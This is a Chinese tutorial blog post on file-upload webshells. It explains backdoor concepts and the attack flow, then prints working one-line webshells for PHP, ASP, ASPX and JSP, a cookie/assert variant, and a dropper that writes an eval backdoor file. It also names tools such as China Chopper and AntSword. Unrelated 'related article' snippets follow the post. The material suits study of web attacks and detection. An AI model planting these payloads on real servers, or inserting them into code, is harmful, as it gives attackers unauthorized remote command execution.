文件上传-Webshell

Webshell简介

webshell就是以aspphpjsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页木马后门。
攻击者可通过这种网页后门获得网站服务器操作权限,控制网站服务器以进行上传下载文件、查看数据库、执行命令等…

什么是木马

木马:全称“特洛伊木马( Trojan Horse )指寄宿在计算机里的一种非授权的远程控制程序,它可以在计算机管理员未发觉的请款下”,开放系统权限、泄露用户信息给攻击者,是黑客常用的工具之一。

什么是后门

后门:一台计算机上有65535个端口,每个端口是计算机与外界连接所开启的“门”,每个门都有计算机提供的一些服务,攻击者利用这些服务,获取服务器的权限,给自己进入计算机留下个后门

Webshell分类

1. 根据文件大小分类

一句话木马:代码简短,通常只有一行代码,使用方便
小马: 只包含文件上传功能,体积小
大马:体积大,包含很多功能,代码通常会进行加密隐藏

2.根据脚本类型分类

jsp
asp
aspx
php

Webshell特点

1.webshell大多以动态脚本形式出现
2.webshell就是一个asp或php木马后门
3.webshell可以穿越服务器防火墙,攻击者与被控服务器交换数据都是通过80端口传递
4.webshell一般不会在系统日志中留下记录,只会在web日志中留下数据传递记录

Webshell攻击流程

1.利用web漏洞获取web权限
2.上传小马
3.上传大马
4.远程调用webshell执行命令

常见Webshell

PHP:

<?php eval($_GET[pass]);?> <?php eval($_POST[pass]);?>

ASP:
<%eval request(“pass”)%>
ASPX:
<%@Page Language=“jscript”%><%eval(Request.ltem[“pass”])%>
JSP:
<%Runtime.getRuntime().exec(request.getParmeter(“i”));%>

Webshell基本原理

基本原理

1.可执行脚本
HTTP数据包( $_GET、 $_POST、 $_COOKIES)
2.数据传递
3.执行传递的数据
直接执行( eval、system、passthru )
文件包含执行 (include、require )
动态函数执行( $a = “phpinfo” ; $a() ; )
回调函数 ( array_map等 )

php webshell

GET方式:

<?php eval($_GET[pass]);?>

POST方式:

<?php eval($_POST[pass]);?>

Cookie方式:

<?php @$a=$_COOKIE[1];$b='';$c='';@assert($b.$a);?>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以通过webshell来进行远程操作
在这里插入图片描述
在这里插入图片描述

一句话木马写小马

<?php fputs(fopen("up.php","w"),'<?php eval($_POST["cmd"])?>'); ?>

当我们打开这个php网页的时候它就会生成这个木马
在这里插入图片描述
在这里插入图片描述
我们通过对文件内容二次base64编码对up.php编码一次
他就会生产上传文件
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

小马上传大马

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Webshell工具介绍

中国菜刀、cknife、weevely3、中国蚁剑、冰蝎等

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/379884.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

2024.02.08

#include "widget.h" #include "ui_widget.h"Widget::Widget(QWidget *parent) :QWidget(parent),ui(new Ui::Widget) {ui->setupUi(this);this->setWindowIcon(QIcon(":/zh.png"));ui->lineEdit->setPlaceholderText("账号/手…

【Linux笔记】缓冲区的概念到标准库的模拟实现

一、缓冲区 “缓冲区”这个概念相信大家或多或少都听说过&#xff0c;大家其实在C语言阶段就已经接触到“缓冲区”这个东西&#xff0c;但是相信大家在C语言阶段并没有真正弄懂缓冲区到底是个什么东西&#xff0c;也相信大家在C语言阶段也因为缓冲区的问题写出过各种bug。 其…

再识C语言 DAY16【进制的转换 】

文章目录 前言进制的转换一、各个进制的组成二、二进制转换其他进制三。其他进制转换为二进制四.小数部分进制转换五.八进制与十进制的相互转换 总如果您发现文章有错误请与我留言&#xff0c;感谢 前言 本文章总结于此视频 进制的转换 一、各个进制的组成 1. 二进制&#x…

【C语言自定义类型详解进阶】结构体(补充结构体的对齐和位段,一口气看完系列,央妈都点赞的博文)

目录 1.结构体 1.1 结构的基础知识 1.2 结构的声明 1.2.1特殊的声明&#xff08;匿名结构体类型&#xff09; 1.3结构体变量的定义 1.4关于匿名结构体类型的补充 1.5结构体的自引用 1.6结构体变量的初始化 2.结构体内存对齐&#xff08;重点&#xff09; 2.1偏移量补…

报错ValueError: Unknown CUDA arch (8.6) or GPU not supported

文章目录 问题描述解决方案参考文献 问题描述 报错 ValueError: Unknown CUDA arch (8.6) or GPU not supported 本人显卡为 RTX 3060&#xff0c;CUDA 为 10.2&#xff0c;PyTorch 为 1.5 解决方案 修改 C:\Users\Administrator\Envs\test\Lib\site-packages\torch\utils\c…

nvm安装nodejs 报错certificate has expired or is not yet valid

今天在使用nvm安装nodejs时&#xff0c;突然报如下错误&#xff1a; 从报错信息中很容易知道这是因为镜像凭证过期&#xff0c;所以我们只需要换个镜像即可。 打开你nvm的安装目录下的settings.txt文件&#xff0c;将下面两行添加到里面&#xff0c;如果已经有的就覆盖。 nod…

【制作100个unity游戏之24】unity制作一个3D动物AI生态系统游戏3(附项目源码)

最终效果 文章目录 最终效果系列目录前言随着地面法线旋转在地形上随机生成动物不同部位颜色不同最终效果源码完结系列目录 前言 欢迎来到【制作100个Unity游戏】系列!本系列将引导您一步步学习如何使用Unity开发各种类型的游戏。在这第24篇中,我们将探索如何用unity制作一…

一周学会Django5 Python Web开发-Django5创建项目(用命令方式)

锋哥原创的Python Web开发 Django5视频教程&#xff1a; 2024版 Django5 Python web开发 视频教程(无废话版) 玩命更新中~_哔哩哔哩_bilibili2024版 Django5 Python web开发 视频教程(无废话版) 玩命更新中~共计11条视频&#xff0c;包括&#xff1a;2024版 Django5 Python we…

前端滚动组件分享

分享一个前端可视化常用的卡片列表滚动组件&#xff0c;常用于可视化项目左右两侧的卡片列表的滚动。效果如下图所示&#xff1a; 组件描述 当鼠标移入滚动区域时&#xff0c;滚动行为停止当鼠标再次离开时&#xff0c;滚动继续 源码展示 <template><div ref"…

停车场|基于Springboot的停车场管理系统设计与实现(源码+数据库+文档)

停车场管理系统目录 目录 基于Springboot的停车场管理系统设计与实现 一、前言 二、系统功能设计 三、系统实现 1、管理员功能实现 &#xff08;1&#xff09;车位管理 &#xff08;2&#xff09;车位预订管理 &#xff08;3&#xff09;公告管理 &#xff08;4&#…

Zoho Mail企业邮箱商业扩展第2部分:企业运营

在关于Zoho Mail企业邮箱商业扩展应用的这个系列的第一部分中&#xff0c;我们遇到了一位名叫王雪琳的个体企业家。她经营着自己的营销机构&#xff0c;并展示了如何创建和管理自己的企业。为了提升企业的专业形象&#xff0c;王雪琳使用了Zoho Mail来建立个性化的电子邮件域名…

【Linux】线程

线程 我们常常会在linux中或者在操作系统这门课中听到进程和线程的名称&#xff0c;我们之前认识了进程的概念&#xff0c;现在我们来了解一下线程的概念 线程概念&#xff1a; 什么是线程 在一个程序里的一个执行路线就叫做线程&#xff08;thread&#xff09;。更准确的定…

牛客网SQL264:查询每个日期新用户的次日留存率

官网链接&#xff1a; 牛客每个人最近的登录日期(五)_牛客题霸_牛客网牛客每天有很多人登录&#xff0c;请你统计一下牛客每个日期新用户的次日留存率。 有一个登录(login。题目来自【牛客题霸】https://www.nowcoder.com/practice/ea0c56cd700344b590182aad03cc61b8?tpId82 …

第三百一十五回

文章目录 1. 概念介绍2. 基本用法3. 补充用法4. 内容总结 我们在上一章回中介绍了"再谈ListView中的分隔线"&#xff0c;本章回中将介绍showMenu的用法.闲话休提&#xff0c;让我们一起Talk Flutter吧。 1. 概念介绍 我们在第一百六十三回中介绍了showMenu相关的内容…

C++学习Day04之单例模式

目录 一、程序及输出1.1 饿汉式实例1.2 饿汉式单例1.3 懒汉式单例1.4 线程安全的懒汉式单例 二、分析与总结 一、程序及输出 1.1 饿汉式实例 #include<iostream> using namespace std; #include <string> class Printer { public:static Printer * getInstance()…

《向量数据库指南》——Milvus Cloud「日志」问题定位的指南针

“2.X 集群的日志在哪里导啊”“现在没有对 Milvus Cloud 进行任何读写操作,但是日志还是不断增加,这正常吗?”“请教下 k8s 部署的 Milvus Cloud 日志如果持久化,只能使用共享存储吗?如果只想放在本地盘可以如何配置?” 社区讨论问题的时候基本都离不开日志,因为日志…

鸿蒙(HarmonyOS)项目方舟框架(ArkUI)之Span组件

鸿蒙&#xff08;HarmonyOS&#xff09;项目方舟框架&#xff08;ArkUI&#xff09;之Span组件 一、操作环境 操作系统: Windows 10 专业版、IDE:DevEco Studio 3.1、SDK:HarmonyOS 3.1 二、Span组件 鸿蒙&#xff08;HarmonyOS&#xff09;作为Text组件的子组件&#xff0…

探索Xposed框架:个性定制你的Android体验

探索Xposed框架&#xff1a;个性定制你的Android体验 1. 引言 在当今移动设备市场中&#xff0c;Android系统作为最受欢迎的操作系统之一&#xff0c;其开放性和可定制性备受用户青睐。用户希望能够根据个人喜好和需求对其设备进行定制&#xff0c;以获得更符合自己习惯的使用…

架构整洁之道-软件架构-展示器和谦卑对象、不完全边界、层次与边界、Main组件、服务

6 软件架构 6.9 展示器和谦卑对象 在《架构整洁之道-软件架构-策略与层次、业务逻辑、尖叫的软件架构、整洁架构》有我们提到了展示器&#xff08;presenter&#xff09;&#xff0c;展示器实际上是采用谦卑对象&#xff08;humble object&#xff09;模式的一种形式&#xff…

js手写Promise(下)

目录 resolve与reject的调用时机封装优化 回调返回PromiseisPromise手动调用then 微队列catchresolverejectall传入的序列为空传入的值非Promise race完整的Promise代码 如果没有看过上半部分的铁铁可以看看这篇文章 js手写Promise&#xff08;上&#xff09; resolve与reject…